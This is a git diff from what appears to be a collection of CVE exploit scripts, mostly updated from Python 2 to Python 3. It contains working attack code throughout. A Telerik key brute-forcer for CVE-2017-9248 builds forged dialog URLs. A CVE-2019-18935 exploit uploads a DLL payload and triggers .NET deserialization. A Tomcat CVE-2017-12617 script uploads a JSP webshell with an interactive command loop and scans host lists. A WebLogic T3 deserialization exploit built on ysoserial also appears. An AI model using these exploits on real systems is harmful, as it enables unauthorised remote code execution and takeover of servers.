" requests, total so far: " +
|
||||
str(requests_sent) +
|
||||
"\n"
|
||||
)
|
||||
sys.stdout.flush()
|
||||
char_requests = 0
|
||||
else:
|
||||
sys.stdout.write("\b"*7 + "Not found, quitting\n")
|
||||
sys.stdout.flush()
|
||||
break
|
||||
if keychar is not False:
|
||||
print("Found key: " +
|
||||
(
|
||||
found
|
||||
if unprintable is False
|
||||
else "(hex) " + binascii.hexlify(found.encode()).decode()
|
||||
)
|
||||
)
|
||||
print("Total web requests: " + str(requests_sent))
|
||||
return found
|
||||
|
||||
|
||||
def mode_brutekey():
|
||||
session = requests.Session()
|
||||
found = get_key(session)
|
||||
|
||||
if found == '':
|
||||
return
|
||||
else:
|
||||
urls = {}
|
||||
url_path = args.url
|
||||
params = (
|
||||
'?DialogName=DocumentManager' +
|
||||
'&renderMode=2' +
|
||||
'&Skin=Default' +
|
||||
'&Title=Document%20Manager' +
|
||||
'&dpptn=' +
|
||||
'&isRtl=false' +
|
||||
'&dp='
|
||||
)
|
||||
versions = [
|
||||
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
|
||||
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
|
||||
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
|
||||
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
|
||||
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
|
||||
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
|
||||
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
|
||||
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
|
||||
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
|
||||
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
|
||||
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
|
||||
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
|
||||
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
|
||||
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
|
||||
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
|
||||
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
|
||||
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
|
||||
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
|
||||
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
|
||||
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
|
||||
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
|
||||
'2017.3.913'
|
||||
]
|
||||
|
||||
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
|
||||
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
|
||||
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||
plaintext3 = ';AllowMultipleSelection,False,3,False'
|
||||
|
||||
if len(args.version) > 0:
|
||||
versions = [args.version]
|
||||
|
||||
for version in versions:
|
||||
plaintext2_raw2 = version
|
||||
plaintext2 = base64.b64encode(
|
||||
(plaintext2_raw1 +
|
||||
plaintext2_raw2 +
|
||||
plaintext2_raw3
|
||||
).encode()
|
||||
).decode()
|
||||
plaintext = plaintext1 + plaintext2 + plaintext3
|
||||
plaintext = base64.b64encode(
|
||||
plaintext.encode()
|
||||
).decode()
|
||||
ciphertext = base64.b64encode(
|
||||
encrypt(
|
||||
plaintext,
|
||||
found
|
||||
).encode()
|
||||
).decode()
|
||||
full_url = url_path + params + ciphertext
|
||||
urls[version] = full_url
|
||||
|
||||
found_valid_version = False
|
||||
for version in urls:
|
||||
url = urls[version]
|
||||
request = requests.Request('GET', url)
|
||||
request = request.prepare()
|
||||
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
|
||||
if response.status_code == 500:
|
||||
continue
|
||||
else:
|
||||
match = re.search(
|
||||
"(Error Message:)(.+\n*.+)(</div>)",
|
||||
response.text
|
||||
)
|
||||
if match is None:
|
||||
print(version + ": " + url)
|
||||
found_valid_version = True
|
||||
break
|
||||
|
||||
if not found_valid_version:
|
||||
print("No valid version found")
|
||||
|
||||
def mode_samples():
|
||||
print("Samples for testing decryption and encryption functions:")
|
||||
print("-d ciphertext key")
|
||||
print("-e plaintext key")
|
||||
print("")
|
||||
print("Key:")
|
||||
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
|
||||
print("")
|
||||
print("Plaintext:")
|
||||
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
|
||||
print("")
|
||||
print("Ciphertext:")
|
||||
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
|
||||
print("")
|
||||
|
||||
|
||||
def mode_b64e():
|
||||
print(base64.b64encode(args.parameter.encode()).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def mode_b64d():
|
||||
print(base64.b64decode(args.parameter.encode()).decode())
|
||||
print("")
|
||||
|
||||
sys.stderr.write(
|
||||
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
|
||||
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
|
||||
)
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
subparsers = p.add_subparsers()
|
||||
|
||||
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
|
||||
decrypt_parser.set_defaults(func=mode_decrypt)
|
||||
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||
|
||||
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
|
||||
encrypt_parser.set_defaults(func=mode_encrypt)
|
||||
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||
|
||||
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
|
||||
brute_parser.set_defaults(func=mode_brutekey)
|
||||
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
|
||||
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
|
||||
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
|
||||
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
|
||||
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
|
||||
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
|
||||
accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
|
||||
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
|
||||
|
||||
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
|
||||
encode_parser.set_defaults(func=mode_b64e)
|
||||
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
|
||||
|
||||
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
|
||||
decode_parser.set_defaults(func=mode_b64d)
|
||||
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
|
||||
|
||||
args = p.parse_args()
|
||||
|
||||
if len(sys.argv) > 2:
|
||||
args.func()
|
||||
140
CVE Exploits/Telerik CVE-2019-18935.py
Normal file
140
CVE Exploits/Telerik CVE-2019-18935.py
Normal file
|
|
@ -0,0 +1,140 @@
|
|||
#!/usr/bin/env python3
|
||||
# origin : https://github.com/noperator/CVE-2019-18935
|
||||
# INSTALL:
|
||||
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
|
||||
# python3 -m venv env
|
||||
# source env/bin/activate
|
||||
# pip3 install -r requirements.txt
|
||||
|
||||
# Import encryption routines.
|
||||
from sys import path
|
||||
path.insert(1, 'RAU_crypto')
|
||||
from RAU_crypto import RAUCipher
|
||||
|
||||
from argparse import ArgumentParser
|
||||
from json import dumps, loads
|
||||
from os.path import basename, splitext
|
||||
from pprint import pprint
|
||||
from requests import post
|
||||
from requests.packages.urllib3 import disable_warnings
|
||||
from sys import stderr
|
||||
from time import time
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
def send_request(files):
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
|
||||
'Connection': 'close',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Upgrade-Insecure-Requests': '1'
|
||||
}
|
||||
response = post(url, files=files, verify=False, headers=headers)
|
||||
try:
|
||||
result = loads(response.text)
|
||||
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
|
||||
pprint(result)
|
||||
except:
|
||||
print(response.text)
|
||||
|
||||
def build_raupostdata(object, type):
|
||||
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
|
||||
|
||||
def upload():
|
||||
|
||||
# Build rauPostData.
|
||||
object = {
|
||||
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
|
||||
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
|
||||
'MaxFileSize': 0,
|
||||
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
|
||||
'Ticks': 1440000000000,
|
||||
'Days': 0,
|
||||
'Hours': 40,
|
||||
'Minutes': 0,
|
||||
'Seconds': 0,
|
||||
'Milliseconds': 0,
|
||||
'TotalDays': 1.6666666666666666,
|
||||
'TotalHours': 40,
|
||||
'TotalMinutes': 2400,
|
||||
'TotalSeconds': 144000,
|
||||
'TotalMilliseconds': 144000000
|
||||
},
|
||||
'UseApplicationPoolImpersonation': False
|
||||
}
|
||||
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||
raupostdata = build_raupostdata(object, type)
|
||||
|
||||
with open(filename_local, 'rb') as f:
|
||||
payload = f.read()
|
||||
|
||||
metadata = {
|
||||
'TotalChunks': 1,
|
||||
'ChunkIndex': 0,
|
||||
'TotalFileSize': 1,
|
||||
'UploadID': filename_remote # Determines remote filename on disk.
|
||||
}
|
||||
|
||||
# Build multipart form data.
|
||||
files = {
|
||||
'rauPostData': (None, raupostdata),
|
||||
'file': (filename_remote, payload, 'application/octet-stream'),
|
||||
'fileName': (None, filename_remote),
|
||||
'contentType': (None, 'application/octet-stream'),
|
||||
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
|
||||
'metadata': (None, dumps(metadata))
|
||||
}
|
||||
|
||||
# Send request.
|
||||
print('[*] Local payload name: ', filename_local, file=stderr)
|
||||
print('[*] Destination folder: ', temp_target_folder, file=stderr)
|
||||
print('[*] Remote payload name:', filename_remote, file=stderr)
|
||||
print(file=stderr)
|
||||
send_request(files)
|
||||
|
||||
def deserialize():
|
||||
|
||||
# Build rauPostData.
|
||||
object = {
|
||||
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
|
||||
}
|
||||
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
|
||||
raupostdata = build_raupostdata(object, type)
|
||||
|
||||
# Build multipart form data.
|
||||
files = {
|
||||
'rauPostData': (None, raupostdata), # Only need this now.
|
||||
'': '' # One extra input is required for the page to process the request.
|
||||
}
|
||||
|
||||
# Send request.
|
||||
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
|
||||
start = time()
|
||||
send_request(files)
|
||||
end = time()
|
||||
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
|
||||
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
|
||||
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
|
||||
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
|
||||
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
|
||||
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
|
||||
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
|
||||
args = parser.parse_args()
|
||||
|
||||
temp_target_folder = args.folder.replace('/', '\\')
|
||||
ui_version = args.ui_version
|
||||
net_version = args.net_version
|
||||
filename_local = args.payload
|
||||
filename_remote = str(time()) + splitext(basename(filename_local))[1]
|
||||
url = args.url
|
||||
|
||||
upload()
|
||||
|
||||
if not args.test_upload:
|
||||
deserialize()
|
||||
|
||||
150
CVE Exploits/Tomcat CVE-2017-12617.py
Executable file → Normal file
150
CVE Exploits/Tomcat CVE-2017-12617.py
Executable file → Normal file
|
|
@ -7,21 +7,25 @@
|
|||
options:
|
||||
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
|
||||
[+]usage:
|
||||
|
||||
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py --list hosts.txt
|
||||
"""
|
||||
from __future__ import print_function
|
||||
from builtins import input
|
||||
from builtins import str
|
||||
from builtins import object
|
||||
import requests
|
||||
import re
|
||||
import signal
|
||||
|
|
@ -34,7 +38,7 @@ from optparse import OptionParser
|
|||
|
||||
|
||||
|
||||
class bcolors:
|
||||
class bcolors(object):
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
|
|
@ -50,14 +54,14 @@ class bcolors:
|
|||
banner="""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
|
|
@ -79,9 +83,9 @@ signal.signal(signal.SIGINT, signal_handler)
|
|||
|
||||
|
||||
def removetags(tags):
|
||||
remove = re.compile('<.*?>')
|
||||
txt = re.sub(remove, '\n', tags)
|
||||
return txt.replace("\n\n\n","\n")
|
||||
remove = re.compile('<.*?>')
|
||||
txt = re.sub(remove, '\n', tags)
|
||||
return txt.replace("\n\n\n","\n")
|
||||
|
||||
|
||||
def getContent(url,f):
|
||||
|
|
@ -94,9 +98,9 @@ def createPayload(url,f):
|
|||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
||||
if req.status_code==201:
|
||||
print "File Created .."
|
||||
print("File Created ..")
|
||||
|
||||
|
||||
|
||||
def RCE(url,f):
|
||||
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||
<INPUT name='cmd' type=text>
|
||||
|
|
@ -119,26 +123,26 @@ InputStreamReader(p.getInputStream()));
|
|||
<pre><%=output %></pre>"""
|
||||
|
||||
|
||||
|
||||
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
|
||||
|
||||
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
||||
|
||||
|
||||
|
||||
|
||||
def shell(url,f):
|
||||
|
||||
|
||||
while True:
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
cmd=raw_input("$ ")
|
||||
cmd=input("$ ")
|
||||
payload={'cmd':cmd}
|
||||
if cmd=="q" or cmd=="Q":
|
||||
break
|
||||
|
||||
break
|
||||
|
||||
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
||||
re=str(re.content)
|
||||
t=removetags(re)
|
||||
print t
|
||||
print(t)
|
||||
|
||||
|
||||
|
||||
|
|
@ -152,21 +156,21 @@ parse=OptionParser(
|
|||
bcolors.HEADER+"""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
|
||||
./cve-2017-12617.py [options]
|
||||
|
||||
options:
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
|
|
@ -187,7 +191,7 @@ options:
|
|||
)
|
||||
|
||||
|
||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||
|
||||
|
|
@ -201,47 +205,35 @@ if opt.U==None and opt.P==None and opt.L==None:
|
|||
|
||||
else:
|
||||
if opt.U!=None and opt.P==None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
url=str(opt.U)
|
||||
checker="Poc.jsp"
|
||||
print bcolors.BOLD +"Poc Filename {}".format(checker)
|
||||
createPayload(str(url)+"/",checker)
|
||||
con=getContent(str(url)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
|
||||
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
|
||||
|
||||
else:
|
||||
print 'Not Vulnerable to CVE-2017-12617 '
|
||||
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||
url=str(opt.U)
|
||||
checker="Poc.jsp"
|
||||
print(bcolors.BOLD +"Poc Filename {}".format(checker))
|
||||
createPayload(str(url)+"/",checker)
|
||||
con=getContent(str(url)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
|
||||
print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
|
||||
|
||||
else:
|
||||
print('Not Vulnerable to CVE-2017-12617 ')
|
||||
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
pwn=str(opt.P)
|
||||
url=str(opt.U)
|
||||
print "Uploading Webshell ....."
|
||||
pwn=pwn+".jsp"
|
||||
RCE(str(url)+"/",pwn)
|
||||
shell(str(url),pwn)
|
||||
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||
pwn=str(opt.P)
|
||||
url=str(opt.U)
|
||||
print("Uploading Webshell .....")
|
||||
pwn=pwn+".jsp"
|
||||
RCE(str(url)+"/",pwn)
|
||||
shell(str(url),pwn)
|
||||
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
w=str(opt.L)
|
||||
f=open(w,"r")
|
||||
print "Scaning hosts in {}".format(w)
|
||||
checker="Poc.jsp"
|
||||
for i in f.readlines():
|
||||
i=i.strip("\n")
|
||||
createPayload(str(i)+"/",checker)
|
||||
con=getContent(str(i)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||
w=str(opt.L)
|
||||
f=open(w,"r")
|
||||
print("Scaning hosts in {}".format(w))
|
||||
checker="Poc.jsp"
|
||||
for i in f.readlines():
|
||||
i=i.strip("\n")
|
||||
createPayload(str(i)+"/",checker)
|
||||
con=getContent(str(i)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@
|
|||
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
|
||||
#Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
import socket
|
||||
import struct
|
||||
import argparse
|
||||
|
|
@ -34,29 +35,29 @@ else:
|
|||
ysoserial_path = args.ysoserial_path
|
||||
|
||||
if len(args.target.split(':')) != 2:
|
||||
print '[-] Target must be in format IP:PORT'
|
||||
print('[-] Target must be in format IP:PORT')
|
||||
sys.exit(1)
|
||||
|
||||
if not args.command:
|
||||
print '[-] You must specify a command to run'
|
||||
print('[-] You must specify a command to run')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
print '[*] Target IP: {}'.format(ip)
|
||||
print '[*] Target PORT: {}'.format(port)
|
||||
print('[*] Target IP: {}'.format(ip))
|
||||
print('[*] Target PORT: {}'.format(port))
|
||||
|
||||
sock.connect((ip, int(port)))
|
||||
|
||||
# Send headers
|
||||
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
|
||||
print '[*] Sending header'
|
||||
print('[*] Sending header')
|
||||
sock.sendall(headers)
|
||||
|
||||
data = sock.recv(1024)
|
||||
print'[*] Received: "{}"'.format(data)
|
||||
print('[*] Received: "{}"'.format(data))
|
||||
|
||||
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
||||
|
||||
|
|
@ -67,5 +68,5 @@ payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f
|
|||
# adjust header for appropriate message length
|
||||
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
|
||||
|
||||
print '[*] Sending payload'
|
||||
print('[*] Sending payload')
|
||||
sock.send(payload)
|
||||
|
|
|
|||
|
|
@ -1,3 +1,5 @@
|
|||
from __future__ import print_function
|
||||
from builtins import input
|
||||
import requests
|
||||
import sys
|
||||
|
||||
|
|
@ -44,18 +46,18 @@ def do_post(command_in):
|
|||
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
|
||||
|
||||
if result.status_code == 500:
|
||||
print "Command Executed \n"
|
||||
print("Command Executed \n")
|
||||
else:
|
||||
print "Something Went Wrong \n"
|
||||
print("Something Went Wrong \n")
|
||||
|
||||
|
||||
|
||||
print "***************************************************** \n" \
|
||||
